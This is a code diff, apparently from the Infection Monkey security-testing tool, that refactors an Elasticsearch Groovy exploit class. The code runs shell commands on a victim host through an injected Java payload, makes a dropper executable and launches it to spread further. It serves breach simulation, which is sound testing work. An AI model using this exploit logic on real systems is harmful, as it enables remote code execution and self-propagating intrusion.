diff --git a/chaos_monkey/exploit/elasticgroovy.py b/chaos_monkey/exploit/elasticgroovy.py index 59765d4a9..ed110e999 100644 --- a/chaos_monkey/exploit/elasticgroovy.py +++ b/chaos_monkey/exploit/elasticgroovy.py @@ -101,6 +101,16 @@ class ElasticGroovyExploiter(HostExploiter): return False self.set_file_executable_linux(host, dropper_target_path_linux) + self.run_monkey_linux(host, dropper_target_path_linux, depth) + + if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): + LOG.info("Log file does not exist, monkey might not have run") + return True + + def run_monkey_linux(self, host, dropper_target_path_linux, depth): + """ + Runs the monkey + """ cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) cmdline += build_monkey_commandline(host, depth - 1) + ' & ' self.run_shell_command(host, cmdline) @@ -108,7 +118,6 @@ class ElasticGroovyExploiter(HostExploiter): self._config.dropper_target_path_linux, host, cmdline) if not (self.check_if_remote_file_exists_linux(host, self._config.monkey_log_path_linux)): LOG.info("Log file does not exist, monkey might not have run") - return True def download_file_in_linux(self, host, src_path, target_path): """ @@ -153,7 +162,6 @@ class ElasticGroovyExploiter(HostExploiter): def run_shell_command(self, host, command): """ Runs a single shell command and returns the result. - :return: """ payload = self.JAVA_CMD % command result = self.get_command_result(host, payload) @@ -163,7 +171,6 @@ class ElasticGroovyExploiter(HostExploiter): def get_linux_arch(self, host): """ Returns host as per uname -m - :return: """ return self.get_command_result(host, self.JAVA_GET_BIT_LINUX) @@ -194,13 +201,10 @@ class ElasticGroovyExploiter(HostExploiter): Gets the result of an attack payload with a single return value. :param host: VictimHost configuration :param payload: Payload that fits the GENERIC_QUERY template. - :return: """ result = self.attack_query(host, payload) if not result: # not vulnerable return False - if 1 != len(result): # weird - return None return result[0] def attack_query(self, host, payload):